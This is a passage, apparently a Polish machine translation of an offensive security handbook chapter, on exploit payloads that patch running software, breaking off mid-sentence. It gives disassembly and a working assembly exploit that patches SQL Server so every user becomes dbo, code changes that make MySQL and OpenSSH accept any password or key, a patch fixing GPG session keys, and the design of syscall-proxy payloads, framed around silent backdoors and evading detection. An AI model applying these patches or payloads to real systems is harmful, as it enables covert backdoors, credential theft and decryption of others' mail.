**Alternatywne strategie ładowności**

Jeśli przeglądasz archiwum shellcodów, zwykle zobaczysz warianty specyficzne dla systemu operacyjnego na następujące tematy:

■■ Unix

■■ execve /bin/sh

■■ wiązanie portów /bin/sh

■■ połączenie pasywne („odwrócona powłoka”) /bin/sh

■■ ustawienie

■■ łamanie chroota

■■ Windows

■■ WinExec

■■ Odwrotna powłoka przy użyciu CreateProcess cmd.exe

Ta lista zawiera podstawowe typy kodów wykorzystujących powłokę, które są najczęściej umieszczane na listach dyskusyjnych iw większości bezpiecznych witryn sieci Web. Chociaż istnieje wiele złożonych problemów związanych z tworzeniem tego rodzaju tradycyjnego shellcodu, czasami zdarzają się sytuacje, w których konieczne jest zrobienie czegoś poza tworzeniem tradycyjnego shellcodu - być może dlatego, że istnieje bardziej bezpośredni sposób osiągnięcia celu lub ponieważ istnieje jakiś mechanizm obronne, który blokuje tradycyjny shellcode, a może po prostu dlatego, że wolisz użyć bardziej interesującej lub niejasnej metody. Tak więc ta Część nie obejmuje tradycyjnego shellcodu; zamiast tego skupimy się na bardziej subtelnych lub nietypowych rzeczach, które może wykonać dowolny kod wykonywany w procesie docelowym - takich jak modyfikowanie kodu procesu podczas jego działania, bezpośrednie manipulowanie systemem operacyjnym w celu dodania użytkowników lub zmiany konfiguracji lub użycie ukryte kanały do przesyłania danych z hosta docelowego. Gdyby ten tekst był menażerią wyczynów, zawierałby manata, mrównika, dziobaka kaczodziobego, a nawet smoka. Zajmiemy się również kilkoma ogólnymi sztuczkami i poradami dotyczącymi shellcodu, głównie dla platform Windows, takimi jak techniki zmniejszania rozmiaru kodu powłoki oraz problemy z niezależnością pakietu serwisowego i wersji docelowej.

**Modyfikowanie programu**

Jeśli program docelowy jest wystarczająco złożony, korzystne może być osłabienie jego bezpieczeństwa, a nie zwykłe zwracanie powłoki. Na przykład, atakując serwer bazy danych, atakujący zwykle szuka danych. W tym przypadku powłoka może nie być zbyt użyteczna, ponieważ odpowiednie dane zostaną pochowane gdzieś w wielu bardzo dużych plikach danych, z których niektóre mogą być niedostępne (ponieważ są one zablokowane wyłącznie przez proces bazy danych). Z drugiej strony dane można łatwo wyodrębnić za pomocą kilku zapytań SQL, mając odpowiednie uprawnienia. W takiej sytuacji może się przydać exploit, który łata w czasie wykonywania. W artykule „Violating Database - Enforced Security Mechanisms” Chris Anley opisał 3-bajtową poprawkę do systemu bazy danych Microsoft SQL Server, która skutkuje zakodowaniem na stałe poziomu uprawnień każdego użytkownika do dbo, właściciela bazy danych (rodzaj konta root dla bazy danych). Łatka może zostać dostarczona za pomocą konwencjonalnego ataku typu przepełnienie bufora lub typu format string – ponownie przyjrzymy się próbce w artykule, aby zrozumieć pomysł. Interesującą właściwością tej łaty jest to, że można ją równie łatwo zastosować do łatania pliku binarnego na dysku, jak i do łatania

działającego procesu w pamięci. Z punktu widzenia atakującego wadą łatania pliku binarnego zamiast uruchomionego procesu jest to, że łatanie pliku binarnego jest bardziej prawdopodobne do wykrycia (przez skanery antywirusowe, mechanizmy integralności plików typu TripWire itd.). To powiedziawszy, warto pamiętać, że ta klasa ataku jest równie podatna na zainstalowanie subtelnego backdoora, jak i na bardziej natychmiastowy atak sieciowy.

**3-bajtowa poprawka programu SQL Server**

Naszym celem jest znalezienie sposobu na wyłączenie kontroli dostępu w bazie danych, tak aby każda próba odczytu lub zapisu z dowolnej kolumny tabeli zakończyła się sukcesem. Zamiast próbować statycznej analizy całej bazy kodu SQL Server, małe debugowanie z góry prawdopodobnie wskaże nam właściwy kierunek. Po pierwsze, potrzebujemy zapytania, które wykona procedury bezpieczeństwa w sposób, w jaki chcemy. Zapytanie

select password from sysxlogins

nie powiedzie się, jeśli użytkownik nie jest administratorem systemu. Dlatego uruchamiamy Query Analyzer - narzędzie dostarczane z programem SQL Server - oraz nasz debugger (MSVC++ 6.0) i uruchamiamy zapytanie jako użytkownik o niskich uprawnieniach. Następnie występuje wyjątek Microsoft Visual C++. Odrzucając okno komunikatu o wyjątku, ponownie klikamy Debug/Go i pozwalamy, aby SQL Server obsłużył wyjątek. Wracając do Analizatora zapytań, widzimy komunikat o błędzie:

SELECT permission denied on object ‘sysxlogins’, database ‘master’,

owner ‘dbo’.

W duchu ciekawości próbujemy uruchomić zapytanie jako użytkownik sa. Nie ma wyjątków. Oczywiście mechanizm kontroli dostępu wyzwala wyjątek C++ w przypadku odmowy dostępu do tabeli. Możemy wykorzystać ten fakt, aby znacznie uprościć nasz proces inżynierii odwrotnej. Teraz prześledzimy kod, aby spróbować znaleźć punkt, w którym kod decyduje, czy zgłosić wyjątek. Jest to proces oparty na próbach i błędach, ale po kilku błędnych startach okazuje się, że:

00416453 E8 03 FE 00 00 call FHasObjPermissions (0042625b)

co w przypadku braku uprawnień skutkuje tym:

00613D85 E8 AF 85 E5 FF call ex_raise (0046c339)

Oczywiście funkcja FHasObjPermissions jest istotna. Badając to, widzimy:

004262BB E8 94 D7 FE FF call ExecutionContext::Uid (00413a54)

004262C0 66 3D 01 00 cmp ax,offset FHasObjPermissions+0B7h

(004262c2)

004262C4 0F 85 AC 0C 1F 00 jne FHasObjPermissions+0C7h (00616f76)

Odpowiada to:

■■ Uzyskaj UID.

■■ Porównaj UID z 0x0001.

■■ Jeśli nie jest to 0x0001, przejdź (po kilku innych sprawdzeniach) do kodu generującego wyjątek.

Oznacza to, że UID 1 ma specjalne znaczenie. Badanie tabeli sysusers za pomocą:

select * from sysusers

widzimy, że UID 1 to dbo, właściciel bazy danych. Przeglądanie dokumentacji SQL Server online , czytamy, że: Dbo to użytkownik, który ma dorozumiane uprawnienia do wykonywania wszystkich czynności w bazie danych. Każdy członek stałej roli serwera sysadmin, który używa bazy danych, jest mapowany na specjalnego użytkownika w każdej bazie danych o nazwie dbo. Ponadto każdy obiekt utworzony przez dowolnego członka stałej roli serwera sysadmin należy automatycznie do dbo. Oczywiście chcemy być UID 1. Mała łatka asemblera może to łatwo zapewnić. Badając kod ExecutionContext::UID, stwierdzamy, że domyślna ścieżka kodu jest prosta.

Uid@ExecutionContext@@QAEFXZ:

00413A54 56 push esi

00413A55 8B F1 mov esi,ecx

00413A57 8B 06 mov eax,dword ptr [esi]

00413A59 8B 40 48 mov eax,dword ptr [eax+48h]

00413A5C 85 C0 test eax,eax

00413A5E 0F 84 6E 59 24 00 je ExecutionContext::Uid+0Ch (006593d2)

00413A64 8B 0D 70 2B A0 00 mov ecx,dword ptr [__tls_index (00a02b70)]

00413A6A 64 8B 15 2C 00 00 00 mov edx,dword ptr fs:[2Ch]

00413A71 8B 0C 8A mov ecx,dword ptr [edx+ecx*4]

00413A74 39 71 08 cmp dword ptr [ecx+8],esi

00413A77 0F 85 5B 59 24 00 jne ExecutionContext::Uid+2Ah (006593d8)

00413A7D F6 40 06 01 test byte ptr [eax+6],1

00413A81 74 1A je ExecutionContext::Uid+3Bh (00413a9d)

00413A83 8B 06 mov eax,dword ptr [esi]

00413A85 8B 40 48 mov eax,dword ptr [eax+48h]

00413A88 F6 40 06 01 test byte ptr [eax+6],1

00413A8C 0F 84 6A 59 24 00 je ExecutionContext::Uid+63h (006593fc)

00413A92 8B 06 mov eax,dword ptr [esi]

00413A94 8B 40 48 mov eax,dword ptr [eax+48h]

00413A97 66 8B 40 02 mov ax,word ptr [eax+2]

00413A9B 5E pop esi

00413A9C C3 ret

Punktem zainteresowania jest tutaj linia:

00413A97 66 8B 40 02 mov ax,word ptr [eax+2]

Ten kod przypisuje do AX, nasz magiczny kod UID. Podsumowując, znaleźliśmy w FHasObjPermissions kod, który wywołuje funkcję ExecutionContext::UID i wydaje się dawać specjalny dostęp do zakodowanego na stałe UID 1. Możemy łatwo załatać ten kod, aby każdy użytkownik miał UID 1, zastępując

00413A97 66 8B 40 02 mov ax,word ptr [eax+2]

z tą nową instrukcją:

00413A97 66 B8 01 00 mov ax,offset

ExecutionContext::Uid+85h (00413a99)

To jest skutecznie mov topór, 1. Testując skuteczność tego, stwierdzamy, że każdy użytkownik może teraz uruchomić

select password from sysxlogins

Daje to przynajmniej wszystkim dostęp do skrótów haseł, a tym samym (za pośrednictwem narzędzia do łamania haseł) do haseł do wszystkich kont w bazie danych. Testując dostęp do innych tabel, stwierdzamy, że możemy teraz wybierać, wstawiać, aktualizować i usuwać z dowolnej tabeli w bazie danych jako dowolny użytkownik. Ten wyczyn został osiągnięty przez zainstalowanie tylko 3 bajtów kodu SQL Server. Teraz, gdy dobrze rozumiemy naszą łatkę, musimy stworzyć exploit, który wykona łatkę bez powodowania błędu. W SQL Server znanych jest wiele arbitralnych przepełnień kodu i błędów ciągu formatującego; ten rozdział nie zajmuje się specyfiką tych zagadnień. Istnieje jednak kilka problemów związanych z pisaniem tego rodzaju exploitów, które zachęcają do dyskusji. Po pierwsze, kod exploita nie może po prostu nadpisać kodu w pamięci. Windows NT może stosować kontrolę dostępu do stron w pamięci, a strony kodowe są zwykle oznaczone jako PAGE_EXECUTE_READ; próba modyfikacji kodu skutkuje naruszeniem dostępu. Ten problem można łatwo rozwiązać za pomocą funkcji VirtualProtect:

ret = VirtualProtect( address, num_bytes_to_change,

PAGE_EXECUTE_READWRITE, &old_protection_value );

Exploit po prostu wywołuje VirtualProtect, aby oznaczyć stronę jako zapisywalną, a następnie nadpisuje bajty w pamięci. Jeśli bajty, które łatamy, znajdują się w bibliotece DLL, mogą zostać przeniesione w pamięci w sposób dynamiczny. Podobnie różne poziomy poprawek SQL Server będą przesuwać cel poprawki, więc kod exploita powinien próbować znaleźć bajty w pamięci, a nie tylko łatać adres bezwzględny. Oto przykładowy exploit, który robi mniej więcej to, co właśnie zostało opisane, z zakodowanymi na stałe adresami dla dodatku Service Pack 2 dla systemu Windows 2000. Ten kod jest żałośnie prosty i przeznaczony wyłącznie do celów demonstracyjnych.

mov ecx, 0xc35e0240

mov edx, 0x8b664840

mov eax, 0x00400000

next:

cmp eax, 0x00600000

je end

```
inc eax
cmp dword ptr[eax], edx
je found
jmp next
found:
cmp dword ptr[eax + 4], ecx
je foundboth
jmp next
foundboth:
mov ebx,eax ; save eax
; (virtualprotect then write)
push esp
push 0x40 ; PAGE_EXECUTE_READWRITE
push 8 ; number of bytes to unprotect
push eax ; start address to unprotect
mov eax, 0x77e8a6ec ; address of VirtualProtect
call eax
mov eax, ebx ; get the address back
mov dword ptr[eax],0xb8664840
mov dword ptr[eax+4],0xc35e0001
end:
xor eax, eax
call eax ; SQL Server handles the exception with
; no problem so we don't need to worry
; about continuation of execution!
```

1-bitowa łatka MySQL

Aby wziąć inny (wcześniej niepublikowany) przykład techniki omówionej w poprzednim rozdziale, przedstawiamy małą poprawkę do MySQL, która zmienia mechanizm zdalnego uwierzytelniania w taki sposób, że akceptowane jest każde hasło. Skutkuje to sytuacją, w której pod warunkiem uzyskania dostępu zdalnego do serwera MySQL, możliwe jest uwierzytelnienie jako dowolny ważny użytkownik zdalny, bez znajomości hasła tego użytkownika. Ponownie należy podkreślić, że tego rodzaju rzeczy są przydatne tylko w określonych sytuacjach, a konkretnie, gdy chcesz:

■■ Umieść subtelne tylne wejście w systemie

■■ Wykorzystaj zdolność aplikacji/demona do interpretacji złożonego zestawu danych

■■ Bezgłośne kompromisy w systemie

Czasami lepiej jest korzystać z legalnych kanałów komunikacji, ale modyfikować atrybuty bezpieczeństwa tych kanałów. W przykładzie SQL Server współdziałamy z systemem jako zwykły użytkownik, ale mamy możliwość odczytywania i modyfikowania dowolnych danych tak długo, jak długo aktualna jest poprawka. Jeśli atak jest dobrze skonstruowany, dzienniki pokażą, że normalny użytkownik wykonywał normalną aktywność. To powiedziawszy, najczęściej skorupa korzenia jest bardziej skuteczna (choć trzeba przyznać, że jest mniej subtelna). Aby śledzić dyskusję, potrzebujesz źródła MySQL, które możesz pobrać ze strony www.mysql.com. W momencie pisania tego tekstu wersja stabilna to 4.0.14b. MySQL używa nieco dziwacznego, domowego mechanizmu uwierzytelniania, który obejmuje następujący protokół (dla uwierzytelniania zdalnego):

■■ Klient nawiązuje połączenie TCP.

■■ Serwer wysyła baner i 8-bajtowe wyzwanie.

■■ Klient szyfruje wyzwanie, używając swojego skrótu hasła (8-bajtowa ilość).

■■ Klient wysyła wynikowe zaszyfrowane dane do serwera przez połączenie TCP.

■■ Serwer sprawdza zaszyfrowane dane za pomocą funkcji check_scramble w sql\password.c.

■■ Jeśli zaszyfrowane dane zgadzają się z danymi oczekiwanymi przez serwer, check_scramble zwraca 0. W przeciwnym razie check_scramble zwraca 1.

Odpowiedni fragment kodu check_scramble wygląda tak:

```
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; /* Wrong password */
}
return 0;
```

Dlatego nasza łatka jest prosta. Jeśli zmienimy ten fragment kodu, aby wyglądał tak:

```
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 0; /* Wrong password but we don't care :o) */
}
return 0;
```

wtedy każde konto użytkownika, które może być używane do zdalnego dostępu, może być używane z dowolnym hasłem. Jest wiele innych rzeczy, które możesz zrobić z MySQL, w tym koncepcyjnie podobna poprawka do poprzedniego przykładu SQL Server (nie ma znaczenia, kim jesteś, zawsze jesteś

dbo) i inne interesujące rzeczy. Kod kompiluje się do sekwencji bajtów podobnej do tej (przy użyciu formatu asemblera MS):

3B C8 cmp ecx,eax

74 04 je (4 bytes forward)

B0 01 mov al,1

EB 04 jmp (4 bytes forward)

EB C5 jmp (59 bytes backward)

32 C0 xor al,al.

mov al, 1  jest tutaj sztuczką. Jeśli zmienimy to na mov al, 0, każdy użytkownik może użyć dowolnego hasła. To łatka 1-bajtowa (lub, jeśli jesteśmy pedantyczni, łatka 1-bitowa). Nie moglibyśmy wprowadzić mniejszej zmiany w procesie, gdybyśmy próbowali, ale wyłączyliśmy cały mechanizm zdalnego uwierzytelniania hasła. Sposób nałożenia łaty binarnej na system docelowy pozostawiono czytelnikowi jako ćwiczenie. W przeszłości w MySQL występowało wiele arbitralnych problemów z wykonaniem kodu; bez wątpienia znajdzie się więcej z czasem. Jednak nawet w przypadku braku przydatnego przepełnienia bufora technika ta nadal ma zastosowanie do łatania plików binarnych i dlatego nadal jest warta poznania. Następnie piszesz mały ładunek exploita, który stosuje tę różnicę do działającego kodu lub do pliku binarnego, w sposób podobny do opisanego wcześniej exploita SQL Server.

**Poprawka uwierzytelniania OpenSSH RSA**

Możemy zastosować omawianą tu zasadę do niemal każdego mechanizmu uwierzytelniania. Rzućmy okiem na mechanizm uwierzytelniania RSA OpenSSH. Po krótkich poszukiwaniach znajdujemy następującą funkcję:

```
int

auth_rsa_verify_response(Key *key, BIGNUM *challenge, u_char response[16])

{

u_char buf[32], mdbuf[16];

MD5_CTX md;

int len;

/* don’t allow short keys */

if (BN_num_bits(key->rsa->n) < SSH_RSA_MINIMUM_MODULUS_SIZE) {

error(“auth_rsa_verify_response: RSA modulus too small: %d <

minimum %d bits”,

BN_num_bits(key->rsa->n), SSH_RSA_MINIMUM_MODULUS_SIZE);

return (0);

}

/* The response is MD5 of decrypted challenge plus session id. */
```

```
len = BN_num_bytes(challenge);
if (len <= 0 || len > 32)
fatal("auth_rsa_verify_response: bad challenge length %d", len);
memset(buf, 0, 32);
BN_bn2bin(challenge, buf + 32 - len);
MD5_Init(&md);
MD5_Update(&md, buf, 32);
MD5_Update(&md, session_id, 16);
MD5_Final(mdbuf, &md);
/* Verify that the response is the original challenge. */
if (memcmp(response, mdbuf, 16) != 0) {
/* Wrong answer. */
return (0);
}
/* Correct answer. */
return (1);
}
```

Po raz kolejny łatwo jest znaleźć funkcję, która zwraca 1 lub 0 w zależności od tego, czy dane uwierzytelnienie się powiodło. Trzeba przyznać, że w przypadku OpenSSH będziesz musiał to zrobić, łatając plik binarny na dysku, ponieważ OpenSSH tworzy proces potomny, który przeprowadza uwierzytelnianie. Jednak wynikiem zastąpienia tych instrukcji return 0 instrukcjami return 1 jest serwer SSH, na którym można uwierzytelnić się jako dowolny użytkownik za pomocą dowolnego klucza.

**Inne pomysły na łatanie w czasie wykonywania**

Technika łatania środowiska wykonawczego prawie nie została omówiona w literaturze dotyczącej bezpieczeństwa, głównie dlatego, że powłoki główne są ogólnie o wiele bardziej efektywne i prawdopodobnie dlatego, że proces tworzenia exploita służącego do łatania środowiska wykonawczego jest nieco bardziej skomplikowany (lub przynajmniej mniej znany). Jednym z exploitów, który zawierał prosty aspekt łatania środowiska uruchomieniowego, był robak Code Red, który (sporadycznie) ponownie mapował wpis w tabeli importu w IIS, aby funkcja TcpSockSend była adresem w samym ładunku robaka, który zwracał ciąg „Hacked by Chinese!" zamiast pożądanej treści. Był to bardziej elegancki sposób na zniszczenie zainfekowanych serwerów IIS niż nadpisywanie plików, ponieważ logika związana z określaniem plików do zastąpienia byłaby skomplikowana i nie ma żadnej pewności, że konto, na którym działają usługi IIS, ma nawet uprawnienia do zapisu te pliki. Inną interesującą właściwością techniki Code Red (wspólnej dla większości exploitów wykorzystujących łaty w czasie wykonywania) było to, że uszkodzenie zniknęło bez śladu, gdy tylko proces został zatrzymany i ponownie uruchomiony. Gdy łatki środowiska wykonawczego znikają w pamięci ulotnej, jest to zarówno błogosławieństwo, jak i przekleństwo dla atakującego. Na różnych platformach Unix często

występuje pula procesów roboczych, które obsługują wiele żądań od klientów, a następnie kończą działanie. Tak jest na przykład w przypadku Apache. Exploity służące do łatania środowiska uruchomieniowego mają w tym scenariuszu nieco zmodyfikowane zachowanie, ponieważ instancja serwera, której kod został załatany, może nie działać zbyt długo. Najgorszy przypadek dla atakującego ma miejsce, gdy każda instancja serwera obsługuje dokładnie jedno żądanie klienta; oznacza to, że poprawka środowiska wykonawczego nie może być używana w kolejnych żądaniach. Zaletą posiadania puli procesów roboczych z punktu widzenia napastnika jest to, że dowody jego występków są niemal natychmiast usuwane. Oprócz modyfikowania struktury uwierzytelniania/autoryzacji aplikacji, istnieją inne, bardziej podstępne podejścia do modyfikacji środowiska uruchomieniowego. Prawie każda bezpieczna aplikacja opiera się w pewnym stopniu na kryptografii, a prawie każdy mechanizm kryptograficzny opiera się w pewnym stopniu na dobrej losowości. Łatanie generatora liczb losowych może nie wydawać się wstrząsającym sposobem na wykorzystanie czegoś, ale konsekwencje są naprawdę poważne. Technika łaty o niskiej losowości ma zastosowanie do każdego celu, w którym przydałoby się obniżyć jego szyfrowanie. Czasami łatka o niskiej losowości pozwala pokonać protokoły uwierzytelniania, a także szyfrowanie - w niektórych systemach, które używają losowego wyzwania (jednorazy), użytkownicy są uwierzytelniani, jeśli są w stanie określić wartość jednorazowości. Jeśli znasz już wartość jednorazówki, możesz łatwo oszukać system uwierzytelniania. Na przykład w podanym wcześniej przykładzie OpenSSH RSA zwróć uwagę na wiersz:

/* Odpowiedź to MD5 odszyfrowanego wyzwania plus identyfikator sesji. */

Jeśli z góry wiemy, jakie będzie wyzwanie, nie potrzebujemy znajomości klucza prywatnego, aby udzielić prawidłowej odpowiedzi. To, czy to pokonuje mechanizm uwierzytelniania, zależy od protokołu, ale z pewnością daje nam to duży start. Inne dobre przykłady można znaleźć w bardziej tradycyjnych produktach szyfrujących. Na przykład, gdybyś załatał czyjąś instancję GPG lub PGP w taki sposób, że klucze sesji wiadomości były zawsze stałe, mógłbyś łatwo odszyfrować każdą wiadomość e-mail wysłaną przez tę osobę. Oczywiście musiałbyś mieć możliwość przechwycenia wiadomości e-mail, ale mimo to po prostu zanegowaliśmy ochronę oferowaną przez cały mechanizm szyfrowania, wprowadzając niewielką zmianę w jednej procedurze. Jako szybki przykład tego, spójrzmy na łatanie GPG 1.2.2 w celu osłabienia losowości.

**GPG 1.2.2 Losowa łatka**

Po pobraniu źródła zaczynamy od wyszukania klucza sesji. To prowadzi nas do funkcji make_session_key. Wywołuje to funkcję randomize_buffer w celu ustawienia bitów klucza. randomize_buffer wywołuje funkcję get_random_bits, która z kolei wywołuje funkcję read_pool (read_pool jest wywoływany tylko przez get_random_bits, więc nie musimy się martwić o zepsucie innych części programu). Badając read_pool, znajdujemy sekcję, która wczytuje losowe dane z puli do bufora docelowego.

```
/* read the required data

* we use a readpointer to read from a different position each

* time */

while( length-- ) {

*buffer++ = keypool[pool_readpos++];

if( pool_readpos >= POOLSIZE )

pool_readpos = 0;
```

```
pool_balance--;

}
```

Ponieważ pool_readpos jest zmienną statyczną, prawdopodobnie chcemy zachować jej stan, więc łatamy w następujący sposób:

```
/* read the required data

* we use a readpointer to read from a different position each

* time */

while( length-- ) {

*buffer++ = 0xc0; pool_readpos++;

if( pool_readpos >= POOLSIZE )

pool_readpos = 0;

pool_balance--;

}
```

Każda wiadomość GPG zaszyfrowana przy użyciu tego pliku binarnego ma stały klucz sesji (niezależnie od tego, którego algorytmu używa).

**Prześlij i uruchom (lub Proglet Server)**

Jednym z interesujących typów alternatywnego ładunku jest mechanizm, który działa w pętli, odbiera shellcode, a następnie uruchamia go w nieskończoność. Ta metoda zapewnia szybki i umiarkowanie łatwy sposób na wielokrotne trafianie na serwer różnymi małymi fragmentami exploitów, w zależności od sytuacji. Termin proglet opisuje te małe programy - najwyraźniej proglet jest zdefiniowany jako „największa ilość kodu, który można zapisać z głowy, który nie wymaga żadnej edycji i który działa poprawnie za pierwszym razem”. (Według tej definicji, proglety asemblera autora rzadko przekraczają garść instrukcji). Problemy z progletami to:

1. Mimo że proglety są dość małe, ich napisanie może być trudne, ponieważ muszą być napisane w asemblerze.

2. Nie ma ogólnego mechanizmu określania sukcesu lub niepowodzenia progletu, a nawet otrzymywania od nich prostych danych wyjściowych.

3. Jeśli proglet pójdzie nie tak, powrót do zdrowia może być dość trudny.

Nawet przy tych problemach mechanizm proglet jest wciąż lepszy od jednorazowych, statycznych exploitów. Jednak preferowane byłoby coś nieco wspanialszego i bardziej dynamicznego — co prowadzi nas do serwerów proxy.

**Serwery proxy Syscall**

Jak zauważono we wstępie, jeśli przyjrzysz się większości archiwów shellcodu, zobaczysz wiele różnych fragmentów shellcodu pochodzących z dość małego zestawu i wykonujących w większości podobne rzeczy. Kiedy używasz shellcodu jako atakującego, często spotykasz się z sytuacjami, w których kod w niewytłumaczalny sposób odmawia działania. Rozwiązaniem w takich sytuacjach jest zwykle inteligentne odgadnięcie, co może się wydarzyć, a następnie próba obejścia problemu. Na przykład,

jeśli powtarzające się próby odrodzenia cmd.exe nie powiodą się, możesz spróbować skopiować własną wersję cmd.exe na host docelowy i spróbować go uruchomić. Lub, być może, próbujesz pisać do pliku, do którego (okazuje się) nie masz uprawnień; dlatego warto najpierw spróbować podnieść uprawnienia. A może z jakiegoś powodu twój kod chroot zerwania po prostu nie powiódł się. Bez względu na problem, rozwiązaniem jest prawie zawsze bolesny okres składania kawałków asemblera w kolejny exploit lub po prostu szukania innej drogi do pudełka. Istnieje jednak rozwiązanie, które jest ogólne, eleganckie i wydajne pod względem rozmiaru kodu powłoki - syscall proxy. Wprowadzony przez Tima Newshama i Olivera Friedrichsa, a następnie rozwinięty w doskonałym artykule Maximiliano Caceres z Core-SDI, syscall proxying to technika wykorzystująca exploity, w której ładunek exploita znajduje się w pętli, wywołując wywołania systemowe w imieniu atakującego i zwracając wyniki.

Chociaż serwery proxy syscall nie zawsze są możliwe (ze względu na lokalizację sieciową hosta docelowego), to podejście jest wyjątkowo skuteczne, ponieważ umożliwia atakującemu dynamiczne określenie, jakie działanie należy podjąć, biorąc pod uwagę warunki panujące na hoście. Patrząc na nasze poprzednie przykłady, powiedzmy, że atakujemy system Windows i nie możemy edytować danego pliku. Patrzymy na naszą obecną nazwę użytkownika i stwierdzamy, że działamy jako użytkownik o niskich uprawnieniach. Ustalamy, że host jest podatny na exploit eskalacji uprawnień oparty na nazwanym potoku, następnie wykonujemy wywołania funkcji wymagane do aktywacji podniesienia uprawnień i bingo – mamy uprawnienia systemowe. Mówiąc bardziej ogólnie, możemy proxy działań dowolnego procesu uruchomionego na naszym komputerze, przekierowując wywołania systemowe (lub wywołania Win32 API w systemie Windows) do wykonania na komputerze docelowym. Oznacza to, że możemy efektywnie uruchamiać dowolne narzędzia, które posiadamy za pośrednictwem naszego proxy, a odpowiednie części kodu będą działać na docelowym hoście.

Wszyscy czytelnicy zaznajomieni z RPC zauważyli podobieństwa między mechanizmem syscall proxy a (bardziej ogólnymi) mechanizmami RPC — to nie przypadek, ponieważ to, co robimy z syscall proxy, wiąże się z tymi samymi wyzwaniami. W rzeczywistości główne wyzwanie jest takie samo — krosowanie lub pakowanie danych parametrów wywołania systemowego w formie, w której można je łatwo przedstawić w płaskim strumieniu danych. To, co skutecznie robimy, to implementacja bardzo małego serwera RPC w małym fragmencie asemblera. Istnieje kilka różnych podejść do implementacji samego proxy:

■■ Przenieś stos, wywołaj funkcję, a następnie przenieś stos z powrotem.

■■ Przenieś parametry wejściowe do ciągłego bloku pamięci, wywołaj funkcję, a następnie prześlij parametry wyjściowe z powrotem.

Pierwsza technika jest prosta i dlatego jest mała i łatwa do zakodowania, ale może zająć sporo przepustowości (dane dla parametrów wyjściowych są niepotrzebnie przesyłane z klienta na serwer) i nie radzi sobie dobrze z zwracanymi wartościami, które nie są t przekazany na stos (na przykład GetLastError systemu Windows). Druga metoda jest nieco bardziej złożona, ale lepiej radzi sobie z nieporęcznymi typami zwracanymi. Dużą wadą tej techniki jest to, że musisz określić w jakiejś formie prototypy funkcji, które wywołujesz na zdalnym hoście, aby klient wiedział, jakie dane wysłać. Sam serwer proxy musi również mieć pewne środki do rozróżniania między parametrami wejścia i wyjścia, typami wskaźników, literałami i tak dalej. Dla tych, którzy znają RPC, prawdopodobnie będzie to wyglądać podobnie do IDL.

**Problemy z serwerami proxy Syscall**

Zrównoważenie korzyści płynących z cudownie dynamicznej natury syscall proxy to niektóre problemy, które mogą wpłynąć na decyzję o ich użyciu w danej sytuacji:

1. Problem z narzędziami: W zależności od tego, jak zaimplementujesz serwer proxy, możesz mieć problemy z zaimplementowaniem narzędzi, które poprawnie porządkują twoje wywołania systemowe.

2. Problem iteracji: Każde wywołanie funkcji wymaga objazdu sieci. W przypadku mechanizmów obejmujących tysiące iteracji może to stać się dość nużące, zwłaszcza jeśli atakujesz coś przez sieć o wysokim opóźnieniu.

3. Problem współbieżności: Nie możemy łatwo zrobić więcej niż jednej rzeczy na raz. Istnieją rozwiązania każdego z tych problemów, ale zazwyczaj wiążą się one z pewnym obejściem lub poważną decyzją architektoniczną. Przyjrzyjmy się rozwiązaniom każdego z tych trzech problemów:

1. Problem 1 można rozwiązać, używając języka wysokiego poziomu do pisania wszystkich narzędzi, a następnie proxy wszystkich wywołań systemowych, które interpreter dla tego języka (czy to perl, Python, PHP, Java, czy cokolwiek chcesz) sprawia, że trudność z tym rozwiązaniem polega na tym, że prawdopodobnie już masz bardzo dużą liczbę narzędzi, których używasz przez cały czas, a które mogą nie być dostępne w (powiedzmy) perlu.

2. Problem 2 można rozwiązać przez:

a. Wysyłanie kodu do wykonania  w przypadkach, w których trzeba dużo iterować, lub

b. Przesyłanie jakiegoś interpretera do procesu docelowego, a następnie przesyłanie skryptu zamiast fragmentów kodu powłoki. Każde rozwiązanie jest bolesne.

3. Możemy częściowo rozwiązać problem 3, jeśli mamy możliwość odrodzenia innego proxy - jednak możemy nie mieć tego luksusu. Bardziej ogólne rozwiązanie wymagałoby, aby nasz serwer proxy synchronizował dostęp do strumienia danych i umożliwiał nam współbieżną interakcję z różnymi wątkami wykonania. Jest to trudne do zaimplementowania.

Mimo wszystkich wad, proxy syscall są nadal najbardziej dynamicznym sposobem wykorzystania każdego błędu typu shellcode i warto je wdrożyć. W ciągu najbliższych kilku lat można spodziewać się wysypu exploitów wykorzystujących serwer proxy syscall. Dla zabawy zaprojektujmy i zaimplementujmy mały serwer proxy syscall dla platformy Windows. Zdecydujmy się na podejście bardziej podobne do IDL, ponieważ lepiej pasuje do wywołań funkcji Windows i może pomóc w określeniu, jak obsłużyć zwrócone dane. Najpierw musimy zastanowić się, w jaki sposób nasz shellcode rozpakuje parametry wywołania, które wykonujemy. Przypuszczalnie będziemy mieli jakiś nagłówek wywołania systemowego, który będzie zawierał informacje identyfikujące wywoływaną przez nas funkcję oraz inne dane (może flagi lub coś w tym rodzaju; nie kłopoczmy się też głęboko tym teraz). Otrzymamy wtedy listę struktur parametrów z pewnymi danymi. Powinniśmy też prawdopodobnie umieścić tam jakieś flagi. Prostym sposobem na zastanowienie się nad tym jest ustalenie, jakiego rodzaju wywołania będziemy wykonywać, i przyjrzenie się listom parametrów. Na pewno będziemy chcieli tworzyć i otwierać pliki.

HANDLE CreateFile(

LPCTSTR lpFileName, // pointer to name of the file

DWORD dwDesiredAccess, // access (read-write) mode

DWORD dwShareMode, // share mode

LPSECURITY_ATTRIBUTES lpSecurityAttributes,

// pointer to security attributes

DWORD dwCreationDisposition, // how to create

DWORD dwFlagsAndAttributes, // file attributes

HANDLE hTemplateFile // handle to file with attributes to

// copy

Mamy wskaźnik do łańcucha zakończonego znakiem null (który może być ASCII lub Unicode), po którym następuje dosłowny DWORD. To daje nam pierwsze wyzwanie projektowe; musimy odróżnić literały (rzeczy) od referencji (wskaźniki na rzeczy). Dodajmy więc flagę, aby odróżnić wskaźniki od literałów. Flaga, której będziemy używać, to IS_PTR. Jeśli ta flaga jest ustawiona, parametr powinien zostać przekazany do funkcji jako wskaźnik do danych, a nie jako literał. Oznacza to, że przed wywołaniem funkcji umieszczamy adres danych na stosie, a nie same dane. Możemy założyć, że we wpisie listy parametrów przekażemy również długość każdego parametru; w ten sposób możemy przekazać struktury jako dane wejściowe, tak jak robimy parametr lpSecurityAttributes. Jak dotąd, oprócz danych przekazujemy flagę ptr i rozmiar danych, i możemy już wywołać CreateFile. Jest jednak niewielka komplikacja; prawdopodobnie powinniśmy w jakiś sposób obsłużyć kod powrotu. Może powinniśmy mieć specjalny wpis na liście parametrów, który mówi nam, jak 